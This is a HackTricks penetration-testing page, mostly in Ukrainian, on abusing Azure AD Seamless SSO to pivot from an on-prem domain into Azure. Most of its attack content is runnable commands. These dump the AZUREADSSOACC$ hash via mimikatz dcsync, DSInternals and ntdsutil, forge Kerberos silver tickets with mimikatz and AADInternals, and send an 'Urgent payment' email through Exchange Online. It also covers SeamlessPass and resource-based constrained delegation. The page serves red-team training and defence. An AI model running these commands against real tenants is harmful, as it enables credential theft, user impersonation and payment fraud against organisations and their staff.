Az - Seamless SSO

Support HackTricks

Basic Information

From the docs: Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) автоматично авторизує користувачів, коли вони на своїх корпоративних пристроях, підключених до вашої корпоративної мережі. Коли ця функція увімкнена, користувачам не потрібно вводити свої паролі для входу в Azure AD, і зазвичай навіть вводити свої імена користувачів. Ця функція забезпечує вашим користувачам легкий доступ до ваших хмарних додатків без необхідності в додаткових компонентів на місці.

В основному Azure AD Seamless SSO авторизує користувачів, коли вони на ПК, приєднаному до локального домену.

Цю функцію підтримують як PHS (Password Hash Sync), так і PTA (Pass-through Authentication).

Desktop SSO використовує Kerberos для аутентифікації. Коли налаштовано, Azure AD Connect створює обліковий запис комп'ютера під назвою AZUREADSSOACC$ в локальному AD. Пароль облікового запису AZUREADSSOACC$ надсилається у відкритому тексті до Azure AD під час налаштування.

Квитки Kerberos шифруються за допомогою NTHash (MD4) пароля, а Azure AD використовує надісланий пароль для розшифровки квитків.

Azure AD надає кінцеву точку (https://autologon.microsoftazuread-sso.com), яка приймає квитки Kerberos. Браузер комп'ютера, приєднаного до домену, пересилає квитки на цю кінцеву точку для SSO.

On-prem -> cloud

Пароль користувача AZUREADSSOACC$ ніколи не змінюється. Тому адміністратор домену може скомпрометувати хеш цього облікового запису, а потім використовувати його для створення срібних квитків для підключення до Azure з будь-яким синхронізованим локальним користувачем:

# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit

# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local

# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos

З хешем ви тепер можете генерувати срібні квитки:

# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit

# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."

Щоб використати срібний квиток, слід виконати наступні кроки:

  1. Запустіть браузер: Потрібно запустити Mozilla Firefox.

  2. Налаштуйте браузер:

  1. Доступ до веб-додатку:

  • Відвідайте веб-додаток, інтегрований з доменом AAD організації. Загальним прикладом є Office 365.

  1. Процес аутентифікації:

  • На екрані входу введіть ім'я користувача, залишивши поле пароля порожнім.

  • Щоб продовжити, натисніть TAB або ENTER.

Це не обходить MFA, якщо вона увімкнена

Варіант 2 без dcsync - SeamlessPass

Також можливо виконати цю атаку без атаки dcsync, щоб бути більш непомітним, як пояснено в цьому блозі. Для цього вам потрібно лише одне з наступного:

  • TGT скомпрометованого користувача: Навіть якщо у вас його немає, але користувач був скомпрометований, ви можете отримати один, використовуючи трюк з делегуванням фальшивого TGT, реалізований у багатьох інструментах, таких як Kekeo та Rubeus.

  • Золотий квиток: Якщо у вас є ключ KRBTGT, ви можете створити TGT, який вам потрібен для атакованого користувача.

  • NTLM хеш або AES ключ скомпрометованого користувача: SeamlessPass зв'яжеться з контролером домену з цією інформацією, щоб згенерувати TGT.

  • NTLM хеш або AES ключ облікового запису AZUREADSSOACC$: З цією інформацією та Ідентифікатором безпеки (SID) користувача, якого потрібно атакувати, можливо створити сервісний квиток і аутентифікуватися в хмарі (як виконано в попередньому методі).

Нарешті, з TGT можливо використовувати інструмент SeamlessPass з:

seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>

Додаткову інформацію про налаштування Firefox для роботи з безшовним SSO можна знайти в цьому блозі.

Створення квитків Kerberos для користувачів тільки в хмарі

Якщо адміністратори Active Directory мають доступ до Azure AD Connect, вони можуть встановити SID для будь-якого користувача в хмарі. Таким чином, квитки Kerberos можна створити також для користувачів тільки в хмарі. Єдина вимога полягає в тому, що SID є правильним SID.

Зміна SID для адміністраторів тільки в хмарі тепер блокована Microsoft. Для отримання інформації перевірте https://aadinternals.com/post/on-prem_admin/

On-prem -> Хмара через обмежену делегацію на основі ресурсів

Будь-хто, хто може керувати обліковими записами комп'ютерів (AZUREADSSOACC$) у контейнері або OU, в якому знаходиться цей обліковий запис, може налаштувати обмежену делегацію на основі ресурсів для облікового запису та отримати до нього доступ.

python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$

References

Підтримати HackTricks

Last updated